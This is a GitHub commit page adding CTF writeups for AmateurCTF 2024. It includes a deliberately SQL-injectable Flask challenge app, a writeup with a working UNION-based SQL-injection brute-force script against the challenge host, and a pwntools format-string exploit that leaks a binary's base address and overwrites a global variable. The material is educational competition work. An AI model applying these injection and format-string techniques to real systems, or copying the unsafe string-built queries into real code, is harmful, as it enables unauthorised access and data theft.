Skip to content

Commit

Permalink
refactored the code and added boilerctf writups
Browse files Browse the repository at this point in the history
  • Loading branch information
Pratham1812 committed Apr 17, 2024
1 parent 969b1e0 commit bcfc9cc
Show file tree
Hide file tree
Showing 36 changed files with 951 additions and 5 deletions.
6 changes: 3 additions & 3 deletions content/ctf-writeups/_index.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@ toc: true
---

{{< cards >}}
{{< card link="weekly-chall-writeup-code-me-if-you-can" title="Backdoor Weekly Writeup - Code me if you can" icon="pencil" >}}
{{< card link="weekly-chall-writeup-strcat" title="Backdoor Weekly Writeup- Strcat" icon="pencil" >}}
{{< card link="amateur-ctf" title="AmateurCTF" icon="pencil" >}}
{{< card link="backdoor-weekly" title="BackdoorWeekly" icon="pencil" >}}
{{< card link="amateur-ctf" title="AmateurCTF24" icon="pencil" >}}
{{< card link="bo1lers-ctf" title="Bo1lersCTF24" icon="pencil" >}}
{{< /cards >}}
6 changes: 4 additions & 2 deletions content/ctf-writeups/amateur-ctf/_index.md
Original file line number Diff line number Diff line change
@@ -1,9 +1,11 @@
---
title: AmateurCTF
title: AmateurCTF24
toc: true
---

{{< cards >}}
{{< card link="cherry-blossom-writeup" title="Amateur CTF | Cherry Blossoms" icon="pencil" >}}
{{< card link="densely-packed-writeup" title="Amateur CTF | Densely Packed" icon="pencil" >}}
{{< card link="pwn-bearsay-writeup" title="Amateur CTF | Bearsay" icon="pencil" >}}
{{< card link="one-shot-writeup" title="Amateur CTF | One-shot" icon="pencil" >}}
{{< card link="sculpture-writeup" title="Amateur CTF | Sculpture" icon="pencil" >}}
{{< /cards >}}
8 changes: 8 additions & 0 deletions content/ctf-writeups/amateur-ctf/assets/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
FROM python:3.11
WORKDIR /app

RUN pip install --no-cache-dir Flask gunicorn

COPY app.py flag.txt ./

CMD ["gunicorn", "-b", "[::]:8080", "app:app"]
80 changes: 80 additions & 0 deletions content/ctf-writeups/amateur-ctf/assets/app.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,80 @@
from flask import Flask, request, make_response
import sqlite3
import os
import re

app = Flask(__name__)
db = sqlite3.connect(":memory:", check_same_thread=False)
flag = open("flag.txt").read()

@app.route("/")
def home():
return """
<h1>You have one shot.</h1>
<form action="/new_session" method="POST"><input type="submit" value="New Session"></form>
"""

@app.route("/new_session", methods=["POST"])
def new_session():
id = os.urandom(8).hex()
db.execute(f"CREATE TABLE table_{id} (password TEXT, searched INTEGER)")
db.execute(f"INSERT INTO table_{id} VALUES ('{os.urandom(16).hex()}', 0)")
res = make_response(f"""
<h2>Fragments scattered... Maybe a search will help?</h2>
<form action="/search" method="POST">
<input type="hidden" name="id" value="{id}">
<input type="text" name="query" value="">
<input type="submit" value="Find">
</form>
""")
res.status = 201

return res

@app.route("/search", methods=["POST"])
def search():
id = request.form["id"]
if not re.match("[1234567890abcdef]{16}", id):
return "invalid id"
searched = db.execute(f"SELECT searched FROM table_{id}").fetchone()[0]
if searched:
return "you've used your shot."

db.execute(f"UPDATE table_{id} SET searched = 1")

query = db.execute(f"SELECT password FROM table_{id} WHERE password LIKE '%{request.form['query']}%'")
return f"""
<h2>Your results:</h2>
<ul>
{"".join([f"<li>{row[0][0] + '*' * (len(row[0]) - 1)}</li>" for row in query.fetchall()])}
</ul>
<h3>Ready to make your guess?</h3>
<form action="/guess" method="POST">
<input type="hidden" name="id" value="{id}">
<input type="text" name="password" placehoder="Password">
<input type="submit" value="Guess">
</form>
"""

@app.route("/guess", methods=["POST"])
def guess():
id = request.form["id"]
if not re.match("[1234567890abcdef]{16}", id):
return "invalid id"
result = db.execute(f"SELECT password FROM table_{id} WHERE password = ?", (request.form['password'],)).fetchone()
print(f"{result=}")
if result != None:
return flag

db.execute(f"DROP TABLE table_{id}")
return "You failed. <a href='/'>Go back</a>"

@app.errorhandler(500)
def ise(error):
original = getattr(error, "original_exception", None)
if type(original) == sqlite3.OperationalError and "no such table" in repr(original):
return "that table is gone. <a href='/'>Go back</a>"
return "Internal server error"

if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080)
56 changes: 56 additions & 0 deletions content/ctf-writeups/amateur-ctf/assets/exploit.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,56 @@
import requests
from tqdm import tqdm

def new_session():
# url = 'http://localhost:8080/new_session'
url = 'http://one-shot.amt.rs/new_session'
response = requests.post(url).text
table_id = response.splitlines()
table_id = table_id[3]
table_id = table_id.split('"')
table_id = table_id[5]
# print(f"{table_id=}")
return table_id

def search(table_id, query):
url = 'http://one-shot.amt.rs/search'
# url = 'http://localhost:8080/search'
send_data = {"id": table_id, "query": query}
response = requests.post(url, data=send_data)
results = response.text.split('<li>')
if len(results) == 3:
return True
else:
return False

def guess(table_id, password):
url = 'http://one-shot.amt.rs/guess'
# url = 'http://localhost:8080/guess'
send_data = {"id": table_id, "password": password}
response = requests.post(url, data=send_data)
if 'go back' not in response.text.lower():
print(response.text)

if __name__ == "__main__":
id_to_guess = new_session()
# id_to_guess = "ef71f7852d86dc26"

password = '_' * 32
correct = ''
# while '_' in password:
for i in tqdm(range(32)):
password = correct + '_' * (32 - i)
# print(password)
for letter in '1234567890abcdef':
password = correct + letter + '_' * (32 - i - 1)
# print(password)
test_id = new_session()
if search(test_id, f"%' UNION SELECT password from table_{id_to_guess} WHERE password LIKE '{password}'--"):
correct += letter
# print(correct)
guess(test_id, "guess")
break
# guess(id_to_guess, "guess")
print(f"{correct=}")
guess(id_to_guess, correct)

1 change: 1 addition & 0 deletions content/ctf-writeups/amateur-ctf/assets/flag.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
flag{secret}
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
Binary file not shown.
119 changes: 119 additions & 0 deletions content/ctf-writeups/amateur-ctf/one-shot-writeup.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,119 @@
---
layout: post
title: Amateur CTF | One-shot
date: 2024-04-12
tags: ['Amateur CTF']
---
# Web/One-shot

## Challenge Description

my friend keeps asking me to play OneShot. i haven't, but i made this cool challenge! http://one-shot.amt.rs

[app.py](./assets/app.py) | [Dockerfile](./assets/Dockerfile)

## Challenge Overview

The challenge was like a guessing game.

![new_session](./assets/images/new_session.png)

First we are given this page with the `New Session` button. Clicking it takes us to another page with an input box mentioning something about fragments scattered.

![like_page](./assets/images/like_page.png)

First let's try sending some random input like `a` and then see the response.

![guess_page](./assets/images/guess.png)

We get a response back showing us a result and an input box to make our guess. Giving a random answer to this input box returns the message `You failed. Go back` sending us back to the new session page.

Now let's start analyzing the `app.py` file.

* new_session()
* Generates a random `id` using `os.urandom(8).hex()`.
* Creates a new table with the name `table_{id}` with two columns -- `password`, `searched`
* Inserts one value into the created table setting the `password` to a random hex value and the `searched` to `0`.
* The response returns the form for the search page

* search()
* This is the fragments scattered... page
* Uses a regular expression to match whether we have entered a valid `id`
* Checks the value of the `searched` column in the table with the `id` created using the `new_session()`. If this value is not `0` then it returns the message `"you've used your shot."`. If this value is `0` then in the next command it updates the table and sets the `searched` value to `1`, indicating that we have already make our search.
* Next, the function takes the input we give in the input box as the `query` parameter tries to see if it matches the pattern of the password using the `LIKE` command. It executes the command `SELECT password FROM table_{id} WHERE password LIKE '%{request.form['query']}%'`. Thus whatever input we provide goes inside `%{query}%`.
* It returns the result of the query in its response along with the form to make the guess. But it only prints the first letter of the passwords it returns thus we cannot know the correct password.

* guess()
* This is the page asking us to make the guess
* Simply checks whether we have provided the correct `password` for the **given table id**.
* If the password guessed is correct then it returns the flag
* Deletes the table after the check

## Exploit

So in order to solve it, we could do a character by character bruteforce. We know the password is a `32 characters` long. So if we make a query like `a_______________________________`, it checks if the first letter is `a` and the rest of the letter can be anything. If it is correct then it returns the password in the results or else it returns an empty result. We could keep doing this again and again for every letter and get the exact password.

But the issue here is that we can only make one query for a password and then we need to generate a new session guess a new password. In order to bypass this, we need to do a SQL Injection attack.

SQL Injection query: `%' UNION SELECT password from table_{id_to_guess} WHERE password LIKE '{password}'--`

This injeciton allows us to check the password of a different table id using the query of another table.

The exploit is simple.

* Create a new session which is our `id_to_guess`
* Create a new session which is our `test_id`
* Send the sql injection from the `test_id` and search the password for `id_to_guess`
* After finally getting the password, submit this `password` to the `id_to_guess` and get the flag

### Python exploit

```py
import requests
from tqdm import tqdm

def new_session():
url = 'http://one-shot.amt.rs/new_session'
response = requests.post(url).text
table_id = response.splitlines()
table_id = table_id[3]
table_id = table_id.split('"')
table_id = table_id[5]
return table_id

def search(table_id, query):
url = 'http://one-shot.amt.rs/search'
send_data = {"id": table_id, "query": query}
response = requests.post(url, data=send_data)
results = response.text.split('<li>')
if len(results) == 3:
return True
else:
return False

def guess(table_id, password):
url = 'http://one-shot.amt.rs/guess'
send_data = {"id": table_id, "password": password}
response = requests.post(url, data=send_data)
if 'go back' not in response.text.lower():
print(response.text)

if __name__ == "__main__":
id_to_guess = new_session()

password = '_' * 32
correct = ''
for i in tqdm(range(32)):
password = correct + '_' * (32 - i)
for letter in '1234567890abcdef':
password = correct + letter + '_' * (32 - i - 1)
test_id = new_session()
if search(test_id, f"%' UNION SELECT password from table_{id_to_guess} WHERE password LIKE '{password}'--"):
correct += letter
guess(test_id, "guess")
break
print(f"{correct=}")
guess(id_to_guess, correct)
```

![flag](./assets/images/flag.png)
61 changes: 61 additions & 0 deletions content/ctf-writeups/amateur-ctf/pwn_bearsay.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
---
layout: post
title: Amateur CTF | Bearsay
date: 2024-04-12
tags: ['Amateur CTF']
---
# PWN/bearsay

In this challenge we were given an elf file with `PIE,NX,canary and full RELRO enabled` , literally all the permissions were green.
But after decompiling the execuatable with GHIDRA , we found a global variable named is_mother_bear ,
basically if anyhow the value of `is_mother_bear` becomes `0xbad0bad` we get the flag.

but how? there exist a printf vulnerability or more specifically Format String vulnerability.

So, the path of exploitation should be like this:-

1- leak the `Base address` of the binary.
2- Change the value of global variable `is_mother_bear` to `0xbad0bad`

Since the program is being run inside a while loop we can use the format string vulnerabilty as many times as we can.
but we only need it for two times.

Fist we leak any binary address of the executable with the help of format string specifier(`%p,%x `etc.) then we can find the base address of the binary

after that with the help of pwntools inbuilt function `fmtstr_payload` we can change the value associated with the address of is_mother_bear to any diserable value.

And wollah!!! we get the flag.

```python
#!/usr/bin/env python3

from pwn import *

elf = context.binary=ELF("./chal_patched")
libc = ELF("./lib/libc.so.6")
ld = ELF("./lib/ld-linux-x86-64.so.2")

r=remote("chal.amt.rs", "1338")
r.sendlineafter(b": ",b'%15$p.%3$p')

print(r.recvline())
k=r.recvline().split(b'.')
leak = int(k[0][2:].decode(),16)
print(hex(leak))

elf.address = leak - elf.sym.main - 702
print(hex(elf.address))

print(hex(elf.sym.is_mother_bear))
payload = fmtstr_payload(22,{elf.sym['is_mother_bear'] : 0xbad0bad },write_size='short')


r.sendlineafter(b': ',payload)

r.sendlineafter(b': ',b'flag')
r.interactive()
r.close()

```

after running this script we get the flag:- `amateursCTF{bearsay_mooooooooooooooooooo?}`
Loading

0 comments on commit bcfc9cc

Please sign in to comment.